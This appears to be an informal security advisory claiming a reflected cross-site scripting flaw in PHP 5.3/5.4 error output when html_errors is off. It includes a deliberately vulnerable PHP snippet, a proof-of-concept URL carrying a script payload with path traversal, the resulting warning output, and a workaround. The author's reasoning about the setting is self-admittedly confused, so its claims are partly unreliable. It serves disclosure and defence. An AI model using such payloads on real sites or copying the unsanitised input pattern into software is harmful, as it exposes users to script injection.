Vuln Desc: Cross Site Scripting Vulnerabilities.
Reason:Misconfiguration in php.ini-* file about:=> html_error <= directive
Also insufficent sanitization when generating warnings which is manipulatable by client side.
Problem in that PHP 5.3.10's php.ini "says":
//Snippet from php.ini-production (This also applies to php.ini-development except display_errors)
---------SNIP STUFF ------------------------
display_errors = off
----- SOME CONFIGURATION SNIP------------
; When PHP displays or logs an error, it has the capability of inserting html
; links to documentation related to that error. This directive controls whether
; those HTML links appear in error messages or not. For performance and security
; reasons, it's recommended you disable this on production servers.
; Note: This directive is hardcoded to Off for the CLI SAPI
; Default Value: On
; Development Value: On
; Production value: Off
; http://php.net/html-errors
html_errors = off
------------EOF SNIP STUFF------------------------

I Agree with: display_errors =off   it works as expected but...
Simply enable it: display_errors = off  to On state. (display_errors = On)
Restart Apache
And exploitate:
(lets say it is vulnerable script in server In eg:)

cat step2.php
/* BEGIN */
<?php

if(isset($_GET['test']))
{

file_get_contents($_GET['test']);

}


?>
/* = EOF */

Exploit:
http://192.168.0.15/bypass/work/step2.php?test=../../../../../../../../../../../../../../<script>alert(document.location);</script>

From source code of page:(Take a look it doesn't "htmlentitied" by PHP.(Non Persistent Cross Site Scripting Vuln))

Warning: file_get_contents(): Unable to access ../../../../../../../../../../../../../../<script>alert(document.location);</script> in C:\Program Files\Apache2.2\Apache2\htdocs\bypass\work\step2.php on line 6

All problem in that: html_errors = off   doesn't works as expected.(Am i Confused or ?)

(Note: In PHP Version 5.4.0 php.ini-production html_errors=On (<=In this state it is disabled) (This means it is off default.Because php 5.4.10 too is prone to this.
For testing Change it to Off.It is also vulnerable))

It "thinks" OFF state is ON and versa (OFF is ON)
You can confirm it simply:
change it to On state then restart Apache and try to exploitate like bottom.(It'll not work in this case.)
Here is after changing= >   html_errors=On       <= state: (Changed to On state)

From source code of page:(Take a look it is "htmlentitied" and safe now.)
<br />
<b>Warning</b>:  file_get_contents(../../../../../../../../../../../../../../&lt;script&gt;alert(1);&lt;/script&gt;) [<a href='function.file-get-contents'>function.file-get-contents</a>]: failed to open stream: Invalid argument in <b>C:\Program Files\Apache2.2\Apache2\htdocs\bypass\work\step2.php</b> on line <b>6</b><br />


In fact on production servers => display_errors = off (default)<= so this suppress all this stuff.(This will mitigate this issuse.)

********************************************** Workaround *******************************************
After playing with html_error=on/off test your server like bottom)
Turn off all Display_erros in your php.ini (Suppress all errors,warnings and do not output
anything to client side)
